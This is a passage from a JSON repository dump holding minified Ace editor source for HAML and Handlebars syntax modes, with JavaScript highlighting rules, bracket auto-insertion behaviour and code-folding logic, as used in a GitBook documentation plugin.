u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/haml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/haml_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./haml_highlight_rules\").HamlHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=[\"//\",\"#\"],this.$id=\"ace/mode/haml\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-handlebars.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new 